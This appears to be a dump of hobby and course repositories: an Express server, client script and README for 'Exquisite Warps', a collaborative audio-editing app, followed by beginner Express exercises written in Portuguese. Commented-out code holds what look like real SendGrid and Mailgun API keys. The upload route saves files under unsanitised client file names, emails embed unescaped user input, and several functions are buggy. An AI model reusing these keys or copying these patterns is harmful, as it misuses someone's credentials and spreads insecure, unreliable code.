Corpse.find({warpName:req.session.warpName},(err,data)=> {
data[0].warp.pop();
updater = data[0].warp;
if(updater.length===0){
//console.log("nothing in the warp")
var conditions = { warpName: req.session.warpName },
update = { warp: []};
//console.log("update");
Corpse.update(conditions, update, function (){
res.send(updater);
});
}else {
//console.log("something in");
var conditions = { warpName: req.session.warpName },
update = { warp: data[0].warp};
//console.log("update");
Corpse.update(conditions, update, function (){
res.send(updater);
});
}
});
});
app.post('/upload', function(req, res){
// create an incoming form object
var form = new formidable.IncomingForm();
// specify that we want to allow the user to upload multiple files in a single request
form.multiples = true;
// store all uploads in the /media/audio/ directory
form.uploadDir = path.join(__dirname, '/public/media/audio');
// every time a file has been uploaded successfully,
// rename it to it's orignal name
form.on('file', function(field, file) {
fs.rename(file.path, path.join(form.uploadDir, file.name));
});
// log any errors that occur
form.on('error', function(err) {
console.log('An error has occured: \n' + err);
});
// once all the files have been uploaded, send a response to the client
form.on('end', function() {
res.end('success');
});
// parse the incoming request containing the form data
form.parse(req);
});
app.post('/timeSub', (req, res) => {
Corpse.find({warpName: req.session.warpName}, (err, data) => {
if(data[0].warp.length<data[0].numCont){////warp still needs contributors
var snippet = JSON.parse(req.body.timeSubNum);
var newTimeSub = data[0].timeSub + snippet;
var newWarp = data[0].warp;
for (var i = 0; i < newWarp.length; i++) {
newWarp[i].start =newWarp[i].start - snippet;
newWarp[i].end =newWarp[i].end - snippet;
}
var one = JSON.parse(snippet);
var two = JSON.parse(data[0].timeSub);
var bigTime = one+two;
req.session.warp = newWarp;
var conditions = { warpName: req.session.warpName },
update = { timeSub: bigTime,
warp:newWarp,
};
//console.log("time subtraced");
Corpse.update(conditions, update, function (){////add to timeSub
res.send(data);
});
} else { ////add global time back to warp
var newWarp = data[0].warp;
var timeToAdd = data[0].warp[0].start* -1;
for (var i = 0; i < newWarp.length; i++) {
newWarp[i].start = newWarp[i].start +timeToAdd;
newWarp[i].end = newWarp[i].end +timeToAdd;
}
req.session.warp = newWarp;
req.session.trackFree = true;
var conditions = { warpName: req.session.warpName },
update = { trackFree: true,
warp:newWarp};
console.log("warp freed!");
var session = req.session;
//warpFinishEmail(session);
Corpse.update(conditions, update, function (){
res.send(data);
});
}
});
});
app.post('/saveAndSend', (req, res) => {
//console.log("save and send");
var warp = JSON.parse(req.body.warp);
console.log(req.session.warpName);
req.session.warp = warp;
var conditions = { warpName: req.session.warpName },
update = {warp:warp};
Corpse.update(conditions, update, function (){
res.send(req.session);
});
var session = req.session;
warpFinishEmail(session);
});
function warpFinishEmail (data){
//console.log(data);
Corpse.find({warpName: session.warpName}, (err, data) => {
// console.log(data);
// console.log(data.length);
var tracks = [];
for(var i = 0; i <= data.length;i++){
tracks.push(data[0].warp[i].src);
}
let transporter = nodemailer.createTransport({
host: 'my.smtp.host',
port: 465,
secure: true, // use TLS
service: 'yahoo',
auth: {
user: '<EMAIL>',
pass: '<PASSWORD>'
}
});
// setup email data with unicode symbols
let mailOptions = {
from: 'Brendan O/ExquisiteWarps.net <<EMAIL>>', // sender address
to: '<EMAIL>, '+data[0].users, // list of receivers
subject: '💀'+session.moniker+'💀 finished a Warp', // Subject line
text: JSON.stringify(session), // plain text body
html: '<h1>'+data[0].warpName+'</h1><p>You can sign in and play/download your collective creation now.</p><a href="http://exquisitewarps.net"><button style="width:100%; height:40px; border-radius:25px;">ExquisiteWarps.net</button></a><br><p>'+data[0].message+'<br><br>'+tracks+'<br><br>'+data[0].users+'</p>' // html body
};
//send mail with defined transport object
transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return console.log(error);
}
console.log('Message %s sent: %s', info.messageId, info.response);
});
/////////////////////////////////////////////////
//
// var helper = require('sendgrid').mail;
// var fromEmail = new helper.Email('<EMAIL>');
// var toEmail = new helper.Email('<EMAIL>, '+data[0].users);
// var subject = '💀 The project "'+session.warpName+'" has been 🔓';
// var content = new helper.Content('text/html', '<h1>'+data[0].warpName+'</h1><p>You can sign in and play/download your collective creation now.</p><a href="http://exquisitewarps.net"><button style="width:100%; height:40px; border-radius:25px;">ExquisiteWarps.net</button></a><br><b>Warp Message:</b><p>'+data[0].message+'<br><br>'+tracks+'<br><br>'+data[0].users+'</p>');
// var mail = new helper.Mail(fromEmail, subject, toEmail, content);
// //var SENDGRID_API_KEY = '<KEY>0w';
// var sg = require('sendgrid')(process.env.SENDGRID_API_KEY);
// console.log(sg);
// console.log(SENDGRID_API_KEY);
// var request = sg.emptyRequest({
// method: 'POST',
// path: '/v3/mail/send',
// body: mail.toJSON()
// });
//
// sg.API(request, function (error, response) {
// if (error) {
// console.log('Error response received');
// }
// console.log(response.statusCode);
// // console.log(response.body);
// // console.log(response.headers);
// });
//
console.log("WORKING??????");
//
// var sendgrid = require("sendgrid")("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");
// var email = new sendgrid.Email();
//
// email.addTo("<EMAIL>");
// email.setFrom("<EMAIL>");
// email.setSubject("Sending with SendGrid is Fun");
// email.setHtml("and easy to do anywhere, even with Node.js");
//
// sendgrid.send(email);
// console.log(email);
// res.sendStatus(200);
// var api_key = 'key-a57813cf58870640aeac0e3c1c9bd27b';
// var domain = 'http://exquisitewarps.net';
// var mailgun = require('mailgun-js')({apiKey: api_key, domain: domain});
//
// var data = {
// from: 'Excited User <<EMAIL>>',
// to: '<EMAIL>',
// subject: 'Hello',
// text: 'Testing some Mailgun awesomness!'
// };
//
// mailgun.messages().send(data, function (error, body) {
// console.log(error);
// });
});
}
app.post('/addGlobalTime', (req, res) => {
Corpse.find({warpName: req.session.warpName}, (err, data) => {
var add = data[0].timeSub;
var arr = data[0].warp;
for(var i = 0; i <= arr.length-1;i++){
arr[i].start = arr[i].start+add;
arr[i].end = arr[i].end+add;
}
req.session.warp = arr;
var conditions = { warpName: req.session.warpName },
update = { warp: arr};
//console.log("addGlobalTime");
Corpse.update(conditions, update, function (){
res.send(data);
});
});
});
app.post('/sendEmail', (req, res) => {
req.session.users.push(req.body.toWhom);
var conditions = { warpName: req.session.warpName },
update = { bpm: req.body.bpm,
message: req.body.message,
users:req.session.users};
Corpse.update(conditions, update, function (){
res.send(update);
});
let transporter = nodemailer.createTransport({
host: 'my.smtp.host',
port: 465,
secure: true, // use TLS
service: 'yahoo',
auth: {
user: '<EMAIL>',
pass: '<PASSWORD>'
}
});
// setup email data with unicode symbols
let mailOptions = {
from: 'Brendan O/ExquisiteWarps.net <<EMAIL>>', // sender address
to: req.body.toWhom, // list of receivers
subject: '💀'+session.moniker+'💀 invited you to "'+req.session.warpName+'"', // Subject line
text: JSON.stringify(session), // plain text body
html: req.session.moniker+' invited you to a project named "<b>'+req.session.warpName+'</b>" on <a href="http://exquisitewarps.net">exquisitewarps.net</a> Sign in with this email to contribute to it before someone else does.<br><div style="background-color:rgba(0,0,0,.2)">'+req.body.message+'</div><br><br><a href="http://exquisitewarps.net"><button style="width:100%; height:40px; border-radius:25px;">ExquisiteWarps.net</button></a><br><br>'+
'<h3>Wut is all this? </h3><hr>'+'<iframe width="560" height="315" src="https://www.youtube.com/embed/BGCKou1nBEQ" frameborder="0" allowfullscreen style="padding: 50px 0 100px 0; height:300px; margin-left:20%; width:60%;"></iframe>'+
'<span>The idea behind this audio game is based on the artists game:<b>Exquisite Corpse</b><br><br>Whoever starts the new Warp (admin) sets the amount of people they want to contribute to it and also they put in the first audio/track. Then they cut just a snippet off the end to send to the next user. The next warper will not be able to hear anything before this snippet. That warper should take in thesong snippet or sentence and use it as inspiration to add their bit.<br>And so on...and so on...<br>Until the number of contributers is reached. Then the warp is unlocked. Everyone can play the'+ ' whole creation and download a WAV file of the whole damn thing.<br><br>The idea is for a bunch of people to work on a song or mixtape together without really knowing any part of the bigger picture of the project until it is finished.<br>Created by <NAME></span>' // html body
};
//send mail with defined transport object
transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return console.log(error);
}
console.log('Message %s sent: %s', info.messageId, info.response);
});
//
// var helper = require('sendgrid').mail;
// var fromEmail = new helper.Email('<EMAIL>');
// var toEmail = new helper.Email(req.body.toWhom);
// var subject = '💀'+req.session.moniker+'💀 sent you a Warp called: '+req.session.warpName;
// var content = new helper.Content('text/html', req.session.moniker+' invited you to a project named "<b>'+req.session.warpName+'</b>" on <a href="http://exquisitewarps.net">exquisitewarps.net</a> Sign in with this email to contribute to it before someone else does.<br><div style="background-color:rgba(0,0,0,.2)">'+req.body.message+'</div><br><br><a href="http://exquisitewarps.net"><button style="width:100%; height:40px; border-radius:25px;">ExquisiteWarps.net</button></a><br><br>'+
// '<h3>Wut is all this? </h3><hr>'+
// '<span>The idea behind this audio game is based on the artists game:<b>Exquisite Corpse</b><br><br>Whoever starts the new Warp (admin) sets the amount of people they want to contribute to it and also they put in the first audio/track. Then they cut just a snippet off the end to send to the next user. The next warper will not be able to hear anything before this snippet. That warper should take in thesong snippet or sentence and use it as inspiration to add their bit.<br>And so on...and so on...<br>Until the number of contributers is reached. Then the warp is unlocked. Everyone can play the'+ ' whole creation and download a WAV file of the whole damn thing.<br><br>The idea is for a bunch of people to work on a song or mixtape together without really knowing any part of the bigger picture of the project until it is finished.<br>Created by <NAME></span>');
// var mail = new helper.Mail(fromEmail, subject, toEmail, content);
// var sg = require('sendgrid')(process.env.SENDGRID_API_KEY);
//
// var request = sg.emptyRequest({
// method: 'POST',
// path: '/v3/mail/send',
// body: mail.toJSON()
// });
// console.log("SG STUFF>>>>"+sg);
// console.log("WHEREHHERHERH");
// sg.API(request, function (error, response) {
// if (error) {
// console.log('Error response received');
// }
// console.log(response.statusCode);
// console.log(response.body);
// console.log(response.headers);
//
// });
});
////////
app.use(express.static('public'));
// 404 error handling
app.use((req, res, next) => {
res.status(404);
console.error('404 - ' + req.url);
res.send({status: 'Error', message: '404 - File not found'});
});
// 500 error handling
app.use((err, req, res, next) => {
res.status(500);
console.error('Server error: ' + err);
res.send({status: 'Error', message: '500 - Server Error'});
});
// start the server
app.listen(3000, () => {
console.info('Server started on:' + 3000);
});
<file_sep>/README.md
Exquisite Warps is a project by <a href="http://brendan.okeefefam.com"><NAME>.</a> It began with <a href="https://github.com/naomiaro/waveform-playlist">Naomi Aro's Waveform Editor</a> framework and seeks to create a platform for music and storytelling collaboration. Like the artist's game Exquisite Corpse, it uses mystery, imagination, and collaboration to create something big together.
A user can start a new project, drop in a piece of music and mark off a snippet at the end to send to the next person. This could be a drum outro or something that they will have to start with. The next user cannot play anything before this snippet and the idea is that they add their contribution in a way that meshes with the audio clip they have been given. Next they mark off the end of their song snippet for the next user. So any given person can not hear the entire piece until it reaches the amount of collaborators initially set by the first person that started the project, like lets say, 5. When the fifth person adds their contribution the whole thing is unlocked and users can download a wav file of what they made.
This platform was made with musicians in mind. It also could be used to make collaborative mixtapes around different themes. Future plans include a connected platform for bands and groups to work together in the DAW at the same time using Socket.io. It will have the feel of a Google Drive project only for musicians working together.
Native Javascript, Web Audio API, Node, Mongoose, MongoDB
<a href="https://www.youtube.com/watch?v=KDwkkep8ER4&t=5s">For a video DEMO of a really beta version go here</a>
instructions:
1)navigate to the package.json and...
npm i
2) open a new terminal window and enter...
mkdir data
mongod --dbpath ./data
3) open new terminal window and navigate to dist/waveform-playlist/server.js...
nodemon server.js
(or however you wanna run the node server)
dummy server helpers:
simplehttpserver
or
python -m SimpleHTTPServer
[MIT License](http://doge.mit-license.org)
<file_sep>/dist/waveform-playlist/public/js/web-audio-editor.js
/* jshint esversion:6 */
var playlist = WaveformPlaylist.init({
samplesPerPixel: 3000,
waveHeight: 100,
container: document.getElementById("playlist"),
state: 'cursor',
colors: {
waveOutlineColor: 'white',
timeColor: 'grey',
fadeColor: 'black'
},
timescale: true,
controls: {
show: true, //whether or not to include the track controls
width: 150 //width of controls in pixels
},
seekStyle : 'line',
zoomLevels: [500, 1000, 3000, 5000]
});
var isUnlocked;
$.get("/getSession", function(data, status){
// console.log(data);
if (typeof data.email !== "undefined"){
$('#page').hide();
$('#picker').hide();
$('#main').show();
$('#warpDisplay').html(data.warp);
$('#userDisplay').html(data.email);
playlist.load(data.tracks).then(function() {
//can do stuff with the playlist.
//initialize the WAV exporter.
playlist.initExporter();
});
}
});
////SUBMIT BUTTONS /////////////////
$("#submit").click(function(){
// var name = $("#name").val();
var email = $("#email").val();
var password = $("#password").val();
$.post("/login", { //post to the register api
email:email,
password:<PASSWORD>
}, function(response){
//console.log(response);
if(response.status === "success") { //if logged in
$('#page').hide();
$('#picker').show();
var options = response.data;
for(var i=0; i< options.length;i++)
{
//creates option tag
jQuery('<option/>', {
value: options[i],
html: options[i]
}).appendTo('#dropdown select'); //appends to select if parent div has id dropdown
}
//$('#warps').html("Glue");
$.get("/getSession", function(data, status){
if (status === "success"){
$('#userDisplay').html(data.email);
}
});
} else {
$('#xusername').show();
$('#invalidMessage').html(response.message);
}
});
});
$("#submit2").click(function(){
var name = $("#name2").val();
var email = $("#email2").val();
var password = $("#password2").val();
$.post("/register", { //post to the register api
name: name,
email: email,
password: <PASSWORD>
}, function(response){
if(response.status === "success") { //if logged in
$('#email').val($('#email2').val());
$('#password').val($('#password2').val());
$('#rego').hide();
} else {
$("#xusername").show();//lol didn't get to test this
$('#invalidMessage').html(response.message);
}
});
});
$("#submit3").click(function(e){
e.preventDefault();
var contPick = $('#sel1').val();
var newWarp = $("#warpname").val();
var storeWarp = $('#storedWarps').val();
if(newWarp =="" && storeWarp == ""){
$("#xusername").show();
$('#invalidMessage').html("Either make a new warp or select one.");
} else if (newWarp=="" && storeWarp != null){
//console.log("go with the warp you picked");
$.post( "warpPick", { warpPick: storeWarp }, function(response){/////I would tighted up this for security later
if(response.status === "success") { //if logged in
var corpse = response.data;
$('#picker').hide();
$('#main').show();
$.get("/getSession", function(data, status){
if (status === "success"){
var users = corpse[0].users;
var check = users.indexOf("data.email");
$('#xusername').hide();
$('#warpDisplay').html(corpse[0].warpName);
$('#trackFree').html("Free The warp @ "+corpse[0].numCont);
$('#BPM').html("BPM: "+corpse[0].bpm);
$('#timeSub').html("TimeSubtracted: "+corpse[0].timeSub);
$('#admin').html("Warp Keeper: "+corpse[0].admin);
$('#users').html("Users: "+corpse[0].users);
$('#bottomNav').show();
$('#exitAdmin').html(corpse[0].admin);
$('#comment').val(corpse[0].message)
$('#exitTrackFree').html(corpse[0].numCont);
$('#exitBPM').val(corpse[0].bpm);
if (corpse[0].trackFree){////UNLOCKED
//console.log("unlocked");
$('#warpLock').html('<i class="fa fa-unlock" aria-hidden="true"></i>');
isUnlocked =true;
$('#unlockedGroup').css("background-color","red");
$('#bottomNav').hide();
$('#finalNavbar').show();
playlist.load(corpse[0].warp).then(function() {
//can do stuff with the playlist.
//initialize the WAV exporter.
playlist.initExporter();
});
} else {////LOCKED
console.log("Locked");
isUnlocked =false;
var lastTrack = corpse[0].warp;
lastTrack = lastTrack[lastTrack.length-1];
playlist.load([lastTrack]).then(function() {
//can do stuff with the playlist.
$('#trackCount').html("# Tracks So Far: "+ corpse[0].warp.length);
//initialize the WAV exporter.
playlist.initExporter();
});
$('#warpLock').html('<i class="fa fa-lock" aria-hidden="true"></i>');
}
}
});
}
});
} else if (newWarp != "") {
if(contPick!="Number of Contributions:"){
$.post("/newWarp", { //post to the register api
warpName : $('#warpname').val(),
numCont: $('#sel1').val(),
bpm : $('#bpmWrite').val()
}, function(response){
if(response.status === "success") { //if logged in
$('#picker').hide();
$('#xusername').hide();
$('#main').show();
$('#bottomNav').show();
$('#warpDisplay').html($('#warpname').val());
$('#trackFree').html("Number of Contributions: "+$('#sel1').val());
$('#BPM').html("BPM: "+ $('#bpmWrite').val());
$('#timeSub').html("TimeSubtracted: "+ "0");
$('#exitTrackFree').html($('#sel1').val());
$('#exitBPM').val($('#bpmWrite').val());
playlist.load([]).then(function() {
//can do stuff with the playlist.
//initialize the WAV exporter.
playlist.initExporter();
});
}
});
} else if (contPick = "Number of Contributions:") {
$("#xusername").show();
$('#invalidMessage').html("A new Warp you to give it a name and set the number of contributions.");
}
}else{
$("#xusername").show();
$('#invalidMessage').html("Either make a new warp or select one.");
}
});
$('#saveAndSend').click(function(){
var warp = playlist.getInfo();
warp = JSON.stringify(warp);
$.post("/saveAndSend",
{warp:warp},
function(data){
//console.log(data);
alert("The other users have been emailed");
setTimeout(function(){logout();},3000);
});
});
//////// EVENT LISTENERS //////////////////////////
$('#emailTest').click(function(){
$.post("/sendEmail");
});
$('#chopper').click(function(){
var selection = playlist.getTimeSelection();
selection = JSON.stringify(selection.start);
timeSub(selection);
$('#chopperDisplay').html(selection);
});
$('#next').click(function(e){
e.preventDefault();
$('#main').hide();
$('#exitForm').show();
$('#toWhom2').val($('#toWhom').val());
$('#bottomNav').hide();
$.get("/getSession", function(data, status){
$('#warpDisplay2').html(data.warpName);
});
});
$('#main').mouseup(function(){
//console.log();
});
$('#sendEmail').click(function(){
var toWhom = $('#toWhom2').val();
var message= $('#comment').val();
var bpm = $('#exitBPM').val();
$.post("/sendEmail",
{toWhom:toWhom,
message:message,
bpm:bpm},
function(data){
alert("Email was sent! Cool! You should get another email when the warp is done too!");
//$('#exitForm').hide();
setTimeout(function(){logout();},3000);
});
});
$('#wut').click(function(){
if ( $('#info').css('display') == 'none'){
$('#info').show();
} else {
$('#info').hide();
}
});
$('#delete').click(function(){
var updater = [];
var trackNow = playlist.getInfo();
for(var i =0; i < trackNow.length-1;i++) {
updater.push(trackNow[i]);
}
updater = JSON.stringify(updater);
$.post("/delete",
function(data,status){
refreshSave(data);
});
});
$('#logout').click(function(){
$.post("/logout", function (data, status){
if(status ==="success"){
window.location = "/";
$('#main').hide();
$('#page').show();
} else {
reload();
}
});
});
$('#playlist > div > div.playlist-tracks').mouseup(function(){
//console.log(playlist.getTimeSelection());
var data = playlist.getInfo();
data = JSON.stringify(data);
//save(data);
});
$('.upload-btn').on('click', function (){
$('#upload-input').click();
$('.progress-bar').text('0%');
$('.progress-bar').width('0%');
});
$('#upload-input').on('change', function(){
var files = $(this).get(0).files;
if (files.length > 0){
// create a FormData object which will be sent as the data payload in the
// AJAX request
var formData = new FormData();
// loop through all the selected files and add them to the formData object
for (var i = 0; i < files.length; i++) {
var file = files[i];
// add the files to formData object for the data payload
formData.append('uploads[]', file, file.name);
}
$.ajax({
url: '/upload',
type: 'POST',
data: formData,
processData: false,
contentType: false,
success: function(data){
//console.log('upload successful!\n' + data);
var trackPath = "../media/audio/"+file.name;
var upload = [ {
"src": trackPath,
"start": 0,
"end": 0,
"name": file.name,
"cuein": 0,
"cueout": 0,
"fadeIn": {
"shape": "logarithmic",
"duration": 0.5
},
"fadeOut": {
"shape": "logarithmic",
"duration": 0.5
}
}];
//console.log(upload);
addTrack(upload);
},
xhr: function() {
// create an XMLHttpRequest
var xhr = new XMLHttpRequest();
// listen to the 'progress' event
xhr.upload.addEventListener('progress', function(evt) {
if (evt.lengthComputable) {
// calculate the percentage of upload completed
var percentComplete = evt.loaded / evt.total;
percentComplete = parseInt(percentComplete * 100);
// update the Bootstrap progress bar with the new percentage
$('.progress-bar').text(percentComplete + '%');
$('.progress-bar').width(percentComplete + '%');
// once the upload reaches 100%, set the progress bar text to done
if (percentComplete === 100) {
$('.progress-bar').html('Done');
}
}
}, false);
return xhr;
}
});
}
});
///////////// FUNCTIONS TO CALL /////////////////////////
function timeSub (data){
var trackNow = playlist.getInfo();
var lastTrack = trackNow[trackNow.length-1];
timeSubNum = JSON.stringify(data);
lastTrack = JSON.stringify(lastTrack);
$.post("/timeSub",
{
timeSubNum:timeSubNum,
lastTrack:lastTrack},
function(data,status){
relog();////figure out if the warp was unlocked and make changes
$.get("/getSession", function(data, status){
//console.log(data);
if(data.trackFree){
//console.log("warp was unlocked");
$('#finalNavbar').show();
$('#bottomNav').hide();
$('#playlistMessage2').html("YiSS! you unlocked this warp make and final changes (only to your track) and hit SAVE and everyone else will be emailed.");
$('#bottomNav').hide();
$('#finalNav').show();
}
});
});
}
function relog (){
playlist.clear();
setTimeout(function(){loadSession();},000);
//loadSession();
}
function loadSession (){
$.get("/getSession", function(data, status){
//console.log("relog");
playlist.load(data.warp).then(function() {
//can do stuff with the playlist.
//initialize the WAV exporter.
playlist.initExporter();
});
$('#warpDisplay').html(data.warpName);
$('#userDisplay').html(data.moniker);
$('#trackFree').html("Unlocked: "+data.trackFree);
$('#BPM').html("BPM: "+data.bpm);
$('#timeSub').html("TimeSubtracted: "+data.timeSub);
$('#admin').html("Warp Keeper: "+data.admin);
$('#users').html("Users: "+data.users);
$('#bottomNav').show();
$('#exitAdmin').html(data.admin);
$('#exitTrackFree').html(data.numCont);
$('#exitBPM').val(data.bpm);
});
}
function addTrack(upload){
playlist.load(upload).then(function() {
//can do stuff with the playlist.
playlist.initExporter();
var data = playlist.getInfo();
data = data[data.length-1];
save(data);
});
}
function save (data){
//console.log("SAVE Function");
var updater = [];
updater.push(data);
updater = JSON.stringify(updater);
$.post("/update",
{updater:updater},
function(data,status){
});
}
function refreshSave (data){
var updater = data;
playlist.clear();
playlist.load(data);
// $.post("/update",
// {updater:updater},
// function(data,status){
// location.reload();
// });
}
function logout(){
$.post("/logout", function (data, status){
if(status ==="success"){
window.location = "/";
$('#main').hide();
$('#page').show();
} else {
reload();
}
});
}
//
// $.getJSON( "../media/json/1stplaylist.json", function(data) {
// var tracks = data;
//
// playlist.load(tracks).then(function() {
// //can do stuff with the playlist.
//
// //initialize the WAV exporter.
// playlist.initExporter();
// });
// })
// .fail(function() {
// console.log( "error" );
// });
| 430a62f2cf472806258837dc9083d69b59e2d3aa | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | Bokeefe/EquisiteWarps-Beta | 5eddde95fbd2d8465286121e603eaa74e7364257 | 0bc2a993671e6dc9add2ff6a49a5bead0695437d |
refs/heads/main | <repo_name>RaulRodrigues06/web-backend-1<file_sep>/ficha6/index.js
//importar o express
const { json, response } = require('express');
const e = require('express');
const express = require('express');
//require para o file system
const fs = require("fs");
//const bodyPlaser = require("body-parser")
// funçao para ler um ficheiro com caminho passado como argumnto
function readfileSync( path) {
var content = fs.readFileSync(path);
return content;
}
function writefileSync(path,data) {
fs.writeFileSync(path,data);
}
// instanciar o express
const app = express()
// definir a porta do servidor http
const port = 3000
app.use(express.json());
app.use(express.urlencoded({extended:false}));
//middleware function
app.use(function(request,response,next){
fs.appendFileSync("./log.txt",request.path +", " + request.method + ": " + new Date() + "\n");
next();
})
function log(request,response){
fs.appendFileSync("./log.txt",request.path +", " + request.method + ": " + new Date() + "\n");
}
// default get endpoint
app.get('/', (request, response) => {
//log(request,response);
//var body = "<!DOCTYPE html><html> <head><title>Page Title</title></head><body><h1>This is a Heading</h1><p>This is a paragraph.</p></body></html>";
var file = fs.readFileSync("./index.html",'utf-8');
var date = new Date();
file = file.replace('{date}',date.toLocaleDateString());
response.writeHead(200, {
'content-Lenght':Buffer.byteLength(file),
'content-Type':'text/html'
});
response.end(file);
//4.C as diferenca do text ou html é alterar content-Type quando é usamos html põe "text/html" e se for txt põe "text/plain".
});
// @name: route parameter
app.get('/user/:name', (request, response) => {
//log(request,response);
var file = fs.readFileSync("./index.html",'utf-8');
var name = request.params.name;
file = file.replace('{name}',name);
response.writeHead(200, {
'content-Lenght':Buffer.byteLength(file),
'content-Type':'text/html'
});
response.end(file);
//4.C as diferenca do text ou html é alterar content-Type quando é usamos html põe "text/html" e se for txt põe "text/plain".
});
// @name: query parameter
app.get('/user', (request, response) => {
//log(request,response);
var file = fs.readFileSync("./index.html",'utf-8');
var name = request.query.name;
var profession = request.query.profession;
file = file.replace('{name}',name);
file = file.replace('{profession}',profession);
response.writeHead(200, {
'content-Lenght':Buffer.byteLength(file),
'content-Type':'text/html'
});
response.end(file);
//4.C as diferenca do text ou html é alterar content-Type quando é usamos html põe "text/html" e se for txt põe "text/plain".
});
app.get('/log',(request, response) =>{
var file = fs.readFileSync("./log.txt",'utf-8');
response.writeHead(200, {
'content-Lenght':Buffer.byteLength(file),
'content-Type':'text/plain'
});
response.end(file);
});
app.get('/log.txt',(request, response) =>{
response.download('./log.txt',function(err){
if(err){
response.status(404);
response.end("Ocorreu um erro ao ler o ficheiro "+ err.message);
}
else{
// Encontrou o ficheiro
}
});
});
app.get('/clear',(request, response) =>{
fs.unlink("./log.txt",function name(err){
if(err){
response.status(404);
response.end("Ocorreu um erro ao apagar o ficheiro "+ err.message);
}
else{
response.send("File deleted");
}
});
//fs.unlinkSync("./log.txt");
response.send("File deleted");
});
// metodo que arranca o servidor http e fica a escuta
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`);
//se por dentro da pasta tenho fazer ./file/log.text
fs.open('log.txt','a',function(err,fd){
console.log("File was created " + fd);
});
});<file_sep>/ficha5/server.js
//importar o express
const { json, response } = require('express');
const e = require('express');
const express = require('express');
const fs = require("fs");
//const bodyPlaser = require("body-parser")
// funçao para ler um ficheiro com caminho passado como argumnto
function readfileSync( path) {
var content = fs.readFileSync(path);
return content;
}
function writefileSync(path,data) {
fs.writeFileSync(path,data);
}
// instanciar o express
const app = express()
// definir a porta do servidor http
const port = 3000
app.use(express.json());
app.use(express.urlencoded({extended:false}));
// default get endpoint
app.get('/', (req, res) => {
res.send('Hello Post!');
});
// list all persons endpoint
app.get('/users', (req, res) => {
var persons = readfileSync('./person.json');
res.send(JSON.parse(persons));
});
app.post('/users',function(req,res){
var persons = JSON.parse(readfileSync('./person.json'));
var length = Object.keys(persons).length;
var id = ++length;
var age = persons.person1.age;
//var age1 = persons["person1"].age;
var newperson = req.body;
newperson.id = id;
persons["person" + id] = newperson;
writefileSync('./person.json',JSON.stringify(persons));
res.send(persons);
});
app.delete('/users',function(req,res){
var persons = JSON.parse(readfileSync('./person.json'));
var id = req.body.id;
var person = persons["person" + id];
if(person != undefined){
delete persons["person" + id];
res.send(persons);
writefileSync('./person.json', JSON.stringify(persons));
}
else{
res.send("id inxistente")
}
});
app.delete('/users/:id',function(req,res){
var persons = JSON.parse(readfileSync('./person.json'));
var id = req.params.id;
var person = persons["person" + id];
if(person != undefined){
delete persons["person" + id];
res.send(persons);
writefileSync('./person.json', JSON.stringify(persons));
}
else{
res.send("id inxistente")
}
});
app.get('/users/:id', (req, res) => {
var persons = JSON.parse(readfileSync('./person.json'));
var id = req.params.id;
var person = persons["person" + id];
if(person != undefined){
res.send(person);
}
else{
res.send("id inxistente");
}
});
app.put('/users/:id', (req, res) => {
var persons = JSON.parse(readfileSync('./person.json'));
var id = req.params.id;
var person = persons["person" + id];
if(person != undefined){
persons["person" + id] = res.body;
persons["person" + id].id = id;
writefileSync('./person.json', JSON.stringify(persons));
res.send(persons);
}
else{
res.send("id inxistente");
}
})
// alt + shift + F por direito
// metodo que arranca o servidor http e fica a escuta.
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
});<file_sep>/ficha3/log.js
var log = "hello Module!";
var testfuncion = function(){
console.log("hello function")
};
function FF() {
console.log("FF");
}
var test = "hello test";
var obj = {message:"hello message",
functionobj:function(info){
return "this function " + info
}
}
module.exports = obj;<file_sep>/ficha2/index.js
//inputs ?
//peso e altura
//outputs
//imc
// assinatura da funçao
/* function calcularIMC(weigh,height){
var imc = weigh / Math.pow(height,2);
return imc;
}
function logIMC(weight,height){
var imc = calcularIMC(weight, height);
if(imc < 18.5){
console.log("IMC: " + imc + ". Esta abaixo do peso");
}
else if(imc >= 18.5 && imc < 25){
console.log("IMC: " + imc + ". Esta normal do peso");
}
else if(imc >= 25 && imc < 30){
console.log("IMC: " + imc + ". Esta cima do peso");
}
else{
console.log("IMC: " + imc + ". Esta obeso");
}
}
// invocação da função com argumentos e atribuiçao a variavel
var imc = calcularIMC(80 , 2);
// imprimir o resultado na consola
console.log(imc);
logIMC(200,2);
//exercicio 2
// ognimaoD e ejoh
function invertsword(str){
var inv = ""
for (let index = str.length -1; index >= 0; index--) {
inv += str[index];
}
return inv;
}
function invertstring(str,pattern){
var inv = ""
var split = "hoje e Domingo".split(pattern);
for (let index = 0; index < split.length; index++) {
var word = invertsword(split[index]);
inv += word + pattern;
}
return inv
}
var invertsstr = invertstring("hoje,e,Domingo",",");
console.log(invertsstr);
//exercicio 3
function countConsnats(str){
var count = 0;
var vogals = ["a","e","i","o","u"]
for (let index = 0; index < str.length; index++) {
for (let j = 0; j < vogals.length; index++) {
if (str[index] != vogals[j]) {
count++;
}
}
}
return count;
}
var vogals = countvogols("hello");
console.log(vogals);
function countvogols(str){
var count = 0;
for (let index = 0; index < str.length; index++) {
if (str[index] == "a" || str[index] == "e" || str[index] == "i" || str[index] == "o" || str[index] == "u") {
count++;
}
}
return count;
}
//exercicio 4
function countletter(str,letter) {
str = str.toLowerCase();
var count = 0;
for (let index = 0; index < str.length; index++) {
if (str[index] == letter) {
count++;
}
}
return count;
}
var count = countletter("hellE","e");
console.log(count); */
//EXERCICIO 5 ==============================================
/*function calcularWorking(he,me,se,hs,ms,ss){
if (he < 8 || hs > 18) {
console.log("horario nao permitido");
return;
}
var enteraInseconds = he * 3600 + me * 60 + se;
var exitInSeconds = hs * 3600 + ms * 60 + ss;
var timeInSeconds = exitInSeconds - enteraInseconds;
var remainderhours= timeInSeconds % 3600;
var hours = (timeInSeconds - remainderhours) / 3600;
var remainderminutes = remainderhours % 60;
var minutes = (remainderhours - remainderminutes) / 60;
console.log("tempo de trabalho: " + hours + ":"+ minutes +":"+ remainderminutes);
var seconds = 0;
}
calcularWorking(7,30,0,16,0,0);
//exercicio 6 ==========================================
/*function drawRectanngle(width,height){
var line = "";
for (let index = 0; index < width; index++) {
line += "*";
}
for (let j = 0; j < height; j++) {
console.log(line);
}
}
drawRectanngle(5,3);*/
// exercicio 7 ====================
/*function drawRectriangle(height){
var line = "";
for (let j = 0; j <= height; j++) {
line += "*";
console.log(line);
}
}
drawRectriangle(5);*/
// exercicio 8 =======================´
/*function drawRectanngle(width,height){
